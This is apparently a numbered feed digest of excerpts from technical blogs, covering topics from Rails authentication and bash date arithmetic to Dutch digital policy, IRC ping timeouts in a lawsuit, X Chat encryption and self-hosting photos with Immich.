This series is a place to collect interesting things I've seen, read, or heard, along with some brief thoughts (often incomplete and/or inconclusive) that they provoked. Measuring Cycle Time with Dr. Cat Hicks - The Hanger DX Podcast, Ankit Jain Cycle time is a measure lots of people use, but has no clear audience - developers, managers, CTOs all care about it. This makes it dangerous. Metrics have to be designed and used with psychological safety in mind. If people don't trust the intention behind the metrics use, they'll game it.

## 226. Does my toaster love me?

Source: Tom Renner on My place to put things | Published: Sat, 18 Oct 2025 00:00:00 +0000

Link: <https://tomrenner.com/posts/does-my-toaster-love-me/>

I'm starting to think that my toaster might have fallen in love with me. I get that not everyone will think this is possible, but I believe it's true. It's always pleased to see me, giving off cheerful sounds when I greet it in the morning by slotting in the bread, and now I've told it what I like it tries really hard to give me exactly what I want. Sometimes I have to tell it to try again once or twice, but honestly, it's really good!

## 227. How I replaced Baremetrics and ChartMogul with Rake

Source: Keygen Blog | Published: Tue, 05 Jan 2021 06:00:00 GMT

Link: <https://keygen.sh/blog/how-i-replaced-baremetrics-and-chartmogul-with-rake/>

How I used a Rake task to replace Baremetrics and ChartMogul for business analytics.

## 228. How to Implement API Key Authentication in Rails Without Devise

Source: Keygen Blog | Published: Fri, 16 Apr 2021 05:00:00 GMT

Link: <https://keygen.sh/blog/how-to-implement-api-key-authentication-in-rails-without-devise/>

Contrary to popular belief, you don't need Devise to implement API key authentication in a Ruby

on Rails app.

## 229. How to Generate Secure License Keys in 2026

Source: Keygen Blog | Published: Wed, 02 Jun 2021 05:00:00 GMT

Link: <https://keygen.sh/blog/how-to-generate-license-keys/>

Software vendors should move away from legacy license key algorithms such as partial key verification to generating secure license keys using modern algorithms like elliptic-curve and RSA cryptography.

## 230. Fav tech museums

Source: Aresluna | Published: 2026-01-05T19:52:00+0000

Link: <https://aresluna.org/fav-tech-museums>

A photo essay of 20-something best tech museums I've been to? and three bad ones.

## 231. The Clock

Source: Aresluna | Published: 2025-12-13T18:17:57+0000

Link: <https://aresluna.org/the-clock>

In the 1980s, the dead space between our television programs was filled with? a clock.

## 232. The primitive tortureboard

Source: Aresluna | Published: 2025-08-31T00:29:37+0000

Link: <https://aresluna.org/the-primitive-tortureboard>

Untangling the myths and mysteries of Dvorak and QWERTY. (First online appearance of a chapter originally published in printed form in December 2023. 8,000 words. 33 photos.)

## 233. GitButler CLI Is Really Good

Source: matduggan.com | Published: Mon, 09 Feb 2026 12:33:02 GMT

Link: <https://matduggan.com/gitbutler-cli-is-really-good/>

My workflow has remained mostly the same for over a decade. I write everything in Vim using the configuration found here . I run Vim from inside of tmux with a configuration found here . I write things on a git branch, made with the git CLI, then I add them with

## 234. The Year of the 3D Printed Miniature (And Other Lies We Tell Ourselves)

Source: matduggan.com | Published: Mon, 29 Dec 2025 11:19:30 GMT

Link:

<https://matduggan.com/the-year-of-the-3d-printed-miniature-and-other-lies-we-tell-ourselves/>

3D printing and miniatures as a case study in how tech misses what users actually want

## 235. SQLite for a REST API Database?

Source: matduggan.com | Published: Fri, 12 Dec 2025 14:19:00 GMT

Link: <https://matduggan.com/sqlite-for-a-rest-api-database/>

Spoiler: it worked fine.

## 236. Updates 7 februari: Tweede Kamer, TV Bureau Buitenland

Source: Bert Hubert's writings | Published: Sat, 07 Feb 2026 22:00:09 +0100

Link: <https://berthub.eu/articles/posts/update-7-februari/>

Hallo allemaal, Er is weer genoeg te vertellen! Zoveel dat ik vermoedelijk nog dingen vergeet in deze update. Dit is een kopie van een bericht op mijn nieuwsbrief. Schrijf u vooral ook in als u geen updates wil missen! Om te beginnen het meest actuele: Zondag 21:30 op TV NPO2, Bureau Buitenland (VPRO) met Barbara Kathmann en mij over de geopolitiek van onze absurde digitale afhankelijkheden. Kijk vooral, we gaan ons best doen er een leerzame uitzending van te maken!

## 237. Digitaal zoet en zuur in het coalitieakkoord

Source: Bert Hubert's writings | Published: Mon, 02 Feb 2026 12:00:00 +0100

Link: <https://berthub.eu/articles/posts/digitaal-zoet-zuur-coalitie-akkoord/>

Het coalitieakkoord heeft een boel woorden die raken aan digitalisering, digitale autonomie en cybersecurity. Veel van de plannen komen niet uit de lucht vallen, en zijn gebaseerd op bijeenkomsten, gesprekken en documenten van de afgelopen jaren. Het is goed te zien dat men gebruik heeft gemaakt van dit eerdere werk (zoals het stuk Wolken aan de horizon, en Ons Digitaal Fundament). Specifiek moet het initiatief van de digitale club van D66 om samen te werken met de digitale zuster-afdelingen van CDA, GroenLinks-PvdA en VVD genoemd worden, waar een gezamenlijk document met input uit is gekomen.

#### 238. Rondetafeloverleg Tweede Kamer over Solvinity: Position paper

Source: Bert Hubert's writings | Published: Wed, 21 Jan 2026 21:30:09 +0100

Link: <https://berthub.eu/articles/posts/overheid-operationele-afhankelijkheden/>

Dinsdag 27 januari om 18:30 is er in Den Haag in de Tweede Kamer een rondetafeloverleg over de consequenties van de (beoogde) overname van Solvinity voor DigiD. Er komen diverse sprekers, onder andere namens Bits of Freedom, de Dutch Cloud Community, Clingendaal, NLDigital (big tech), Stichting Digitale Infrastructuur Nederland. Ook zijn Brenno de Winter en Paul Timmers van de partij. En ik ben er ook. En u kunt ook komen! Schrijf je wel hier in vooraf!

#### 239. forecourt networking

Source: computers are bad | Published: 08 Feb 2026 00:00:00 UT

Link: <https://computer.rip/2026-02-08-forecourt-networking.html>

The way I see it, few parts of American life are as quintessentially American as buying gas. We love our cars, we love our oil, and an industry about as old as automobiles themselves has developed a highly consistent, fully automated, and fairly user friendly system for filling the former with the latter. I grew up in Oregon. While these rules have since been relaxed, many know Oregon for its long identity as one of two states where you cannot pump your own gas (the other being New Jersey). Instead, an attendant, employee of the gas station, operates the equipment. Like Portland's lingering indoor gas station, Oregon's favor for "full-service" is a holdover. It makes sense, of course, that all gas stations used to be full-service. The front part of a gas station, where the pumps are and where you pull up your car, is called the Forecourt. The practicalities of selling gasoline, namely that it is a liquid sold by volume, make the forecourt more complex than you might realize. It's a set of devices that many of us interact with on a regular basis, but we rarely think about the sheer number of moving parts and long-running need for digital communications. Hey, that latter part sounds...

#### 240. the essence of frigidity

Source: computers are bad | Published: 25 Jan 2026 00:00:00 UT

Link: <https://computer.rip/2026-01-25-the-essence-of-frigidity.html>

The front of the American grocery store contains a strange, liminal space: the transitional area between parking lot and checkstand, along the front exterior and interior of the building, that fills with oddball commodities. Ice is a fixture at nearly every store, filtered water at most, firewood at some. This retail purgatory, both too early and too late in the shopping journey for impulse purchases, is mostly good only for items people know they will need as they check out. One of the standard residents of this space has always struck me as peculiar: dry ice. Carbon dioxide ice is said to have been invented, or we might better say discovered, in the 1830s. For whatever reason, it took just about a hundred years for the substance to be commercialized. Thomas B. Slate was a son of Oregon, somehow ended up in Boston, and then realized that the solid form of CO<sub>2</sub> was both fairly easy to produce and useful as a form of refrigeration. With an eye towards marketing, he coined the name Dry Ice?and founded the DryIce Corporation of America. The year was 1925, and word quickly spread. In a widely syndicated 1930 article, "Use of Carbon Dioxide as Ice Said to be Developing Rapidly," the Ala...

#### 241. air traffic control: the IBM 9020

Source: computers are bad | Published: 17 Jan 2026 00:00:00 UT

Link: <https://computer.rip/2026-01-17-air-traffic-control-9020.html>

Previously on Computers Are Bad, we discussed the early history of air traffic control in the United States . The technical demands of air traffic control are well known in computer history circles because of the prominence of SAGE, but what's less well known is that SAGE itself was not an air traffic control system at all. SAGE was an air defense system, designed for the military with a specific task of ground-controlled interception (GCI). There is natural overlap between air defense and air traffic control: for example, both applications require correlating aircraft identities with radar targets. This commonality lead the Federal Aviation Agency (precursor to today's FAA) to launch a joint project with the Air Force to adapt SAGE for civilian ATC. There are also significant differences. In general, SAGE did not provide any safety functions. It did not monitor altitude reservations for uniqueness, it did not detect loss of separation, and it did not integrate instrument procedure or terminal information. SAGE would need to gain these features to meet FAA requirements, particularly given the mid-century focus on mid-air collisions (a growing problem, with increasing air traffic,...

## 242. Date Arithmetic in Bash

Source: Miguel Grinberg's Blog | Published: Wed, 04 Feb 2026 11:09:06 GMT

Link: <https://blog.miguelgrinberg.com/post/date-arithmetic-in-bash>

Date and time management libraries in many programming languages are famously bad. Python's datetime module comes to mind as one of the best (worst?) examples, and so does JavaScript's Date class . It feels like these libraries could not have been made worse on purpose, or so I thought until today, when I needed to implement some date calculations in a backup rotation script written in bash. So, if you wanted to learn how to perform date and time arithmetic in your bash scripts, you've come to the right place. Just don't blame me for the nightmares.

## 243. How to Add a Quick Interactive Map to your Website

Source: Miguel Grinberg's Blog | Published: Thu, 29 Jan 2026 12:25:14 GMT

Link: <https://blog.miguelgrinberg.com/post/how-to-add-a-quick-interactive-map-to-your-website>

In this article I want to share a technique that I recently learned to display an interactive map on a website. For this, you will need just a few lines of HTML and JavaScript. This solution does not require you to sign up for any accounts or services anywhere, it is completely free and open source, and can be integrated with any front or back end web framework. Give the demo below a try and if you like it, then keep on reading to learn how you can add a map like this one to your website in just 3 quick steps! function showMap(id, lat, long, label) { const mapLayer = L.tileLayer('https://tile.openstreetmap.org/{z}/{x}/{y}.png', { maxZoom: 19, attribution: " OpenStreetMap " }); const satLayer = L.tileLayer("https://server.arcgisonline.com/ArcGIS/rest/services/World\_Imagery/MapServer/tile/{z}/{y}/{x}", { maxZoom: 19, attribution: " ESRI " }); const map = L.map(id, { layers: [mapLayer], scrollWheelZoom: false, center: [lat, long], zoom: 14, }); const markerLayer = L.marker([lat, long]).addTo(map).bindPopup(label); L.control.layers({Map: mapLayer, Satellite: satLayer}, {Markers: markerLayer}).addTo(map); } document.addEventListener("DOMContentLoaded", (event) => { showMap('\_\_map', 5...

## 244. A Year In Review: Flask in 2025

Source: Miguel Grinberg's Blog | Published: Thu, 01 Jan 2026 12:00:26 GMT

Link: <https://blog.miguelgrinberg.com/post/a-year-in-review-flask-in-2025>

Like I did last year , I reserved some time during my holiday break to prepare an independent report of the Flask ecosystem in 2025.

## 245. Aperiodic Tilings V: the Refinable Frontier

Source: Simon Tatham's quasi-blog | Published: 2025-09-02T00:00:00+00:00

Link: <https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/aperiodic-refine/>

A sequel to my previous posts on finite-state transducers for aperiodic tilings: if you have a tiling you can't build a transducer for, here's an algorithm to turn it into one you can.

## 246. Brute-forcing Langley's geometry problem with field extensions

Source: Simon Tatham's quasi-blog | Published: 2025-07-18T00:00:00+00:00

Link: <https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/adventitious/>

An application of algebraic extensions of the rationals: cheating (arguably) at elementary geometry puzzles.

247. In which I have Opinions about parsing and grammars

Source: Simon Tatham's quasi-blog | Published: 2025-06-05T00:00:00+00:00

Link: <https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/parsing/>

A collection of semi-connected rants about context-free grammars, parser generators, and the ways in which they aren't quite as useful as I'd like them to be.

248. Not here

Source: Matthew Garrett | Published: Mon, 05 Jan 2026 22:26:23 GMT

Link: <https://mjj59.dreamwidth.org/74084.html>

Hello! I am not posting here any more. You can find me here instead. Most Planets should be updated already (I've an MR open for Planet Gnome), but if you're subscribed to my feed directly please update it. comments

249. How did IRC ping timeouts end up in a lawsuit?

Source: Matthew Garrett | Published: Wed, 17 Dec 2025 13:17:23 GMT

Link: <https://mjj59.dreamwidth.org/73777.html>

I recently won a lawsuit against Roy and Rianne Schestowitz, the authors and publishers of the Techrights and Tuxmachines websites. The short version of events is that they were subject to an online harassment campaign, which they incorrectly blamed me for. They responded with a large number of defamatory online posts about me, which the judge described as unsubstantiated character assassination and consequently awarded me significant damages. That's not what this post is about, as such. It's about the sole meaningful claim made that tied me to the abuse. In the defendants' defence and counterclaim [1], 15.27 asserts in part The facts linking the Claimant to the sock puppet accounts include, on the IRC network: simultaneous dropped connections to the mjj59\_ and elusive\_woman accounts. This is so unlikely to be coincidental that the natural inference is that the same person posted under both names . "elusive\_woman" here is an account linked to the harassment, and "mjj59\_" is me. This is actually a surprisingly interesting claim to make, and it's worth going into in some more detail. The event in question occurred on the 28th of April, 2023 . You can see a line reading \*elusive\_woma...

250. Where are we on X Chat security?

Source: Matthew Garrett | Published: Mon, 20 Oct 2025 23:36:19 GMT

Link: <https://mjj59.dreamwidth.org/73625.html>

AWS had an outage today and Signal was unavailable for some users for a while. This has confused some people, including Elon Musk, who are concerned that having a dependency on AWS means that Signal could somehow be compromised by anyone with sufficient influence over AWS (it can't). Which means we're back to the richest man in the world recommending his own "X Chat", saying The messages are fully encrypted with no advertising hooks or strange ?AWS dependencies? such that I can't read your messages even if someone put a gun to my head . Elon is either uninformed about his own product, lying, or both. As I wrote back in June , X Chat genuinely end-to-end encrypted, but ownership of the keys is complicated. The encryption key is stored using the Juicebox protocol, sharded between multiple backends. Two of these are asserted to be HSM backed - a discussion of the commissioning ceremony was recently posted here . I have not watched the almost 7 hours of video to verify that this was performed correctly, and I also haven't been able to verify that the public keys included in the post were the keys generated during the ceremony, although that may be down to me just not finding the appro...

251. Coding Agent VMs on NixOS with microvm.nix

Source: Michael Stapelbergs Website | Published: 2026-02-01T09:00:00+01:00

Link: <https://michael.stapelberg.ch/posts/2026-02-01-coding-agent-microvm-nix/>

I have come to appreciate coding agents to be valuable tools for working with computer program code in any capacity, such as learning about any program's architecture, diagnosing bugs or developing proofs of concept. Depending on the use-case, reviewing each command the agent wants to run can get tedious and time-consuming very quickly. To safely run a coding agent without review, I wanted a Virtual Machine (VM) solution where the agent has no access to my personal files and where it's no big deal if the agent gets compromised by malware: I can just throw away the VM and start over. Instead of setting up a stateful VM and re-installing it when needed (ugh!), I prefer the model of ephemeral VMs where nothing persists on disk, except for what is explicitly shared with the host. The microvm.nix project makes it easy to create such VMs on NixOS, and this article shows you how I like to set up my VMs. See also If you haven't heard of NixOS before, check out the NixOS Wikipedia page and [nixos.org](http://nixos.org). I spoke about why I switched to Nix in 2025 and have published a few blog posts about Nix . For understanding the threat model of AI agents, read Simon Willison's ?The lethal trifecta for AI...

## 252. Can I finally start using Wayland in 2026?

Source: Michael Stapelbergs Website | Published: 2026-01-04T08:55:00+01:00

Link: <https://michael.stapelberg.ch/posts/2026-01-04-wayland-sway-in-2026/>

Wayland is the successor to the X server (X11, Xorg) to implement the graphics stack on Linux. The Wayland project was actually started in 2008, a year before I created the i3 tiling window manager for X11 in 2009 ? but for the last 18 years (!), Wayland was never usable on my computers. I don't want to be stuck on deprecated software, so I try to start using Wayland each year, and this articles outlines what keeps me from migrating to Wayland in 2026.

Historical context For the first few years, Wayland rarely even started on my machines. When I was lucky enough for something to show up, I could start some toy demo apps in the demo compositor Weston. Around 2014, GNOME started supporting Wayland. KDE followed a few years later. Major applications (like Firefox, Chrome or Emacs) have been slower to adopt Wayland and needed users to opt into experimental implementations via custom flags or environment variables, until very recently, or ? in some cases, like geeqie ? still as of today.

Unfortunately, the driver support situation remained poor for many years. With nVidia graphics cards, which are the only cards that support my 8K monitor , Wayland would either not work at all or exhib...

## 253. Self-hosting my photos with Immich

Source: Michael Stapelbergs Website | Published: 2025-11-29T08:22:05+01:00

Link: <https://michael.stapelberg.ch/posts/2025-11-29-self-hosting-photos-with-immich/>

For every cloud service I use, I want to have a local copy of my data for backup purposes and independence. Unfortunately, the gphotos-sync tool stopped working in March 2025 when Google restricted the OAuth scopes, so I needed an alternative for my existing Google Photos setup. In this post, I describe how I have set up Immich , a self-hostable photo manager. Here is the end result: a few (live) photos from NixCon 2025 : Step 1. Hardware I am running Immich on my Ryzen 7 Mini PC (ASRock DeskMini X600) , which consumes less than 10 W of power in idle and has plenty of resources for VMs (64 GB RAM, 1 TB disk). You can read more about it in my blog post from July 2024: Ryzen 7 Mini-PC makes a power-efficient VM host When I saw the first reviews of the ASRock DeskMini X600 barebone, I was immediately interested in building a home-lab hypervisor (VM host) with it. Apparently, the DeskMini X600 uses less than 10W of power but supports latest-generation AMD CPUs like the Ryzen 7 8700G! Read more ? I installed Proxmox , an Open Source virtualization platform, to divide this mini server into VMs, but you could of course also install Immich directly on any server. Step 2. Install Immich I...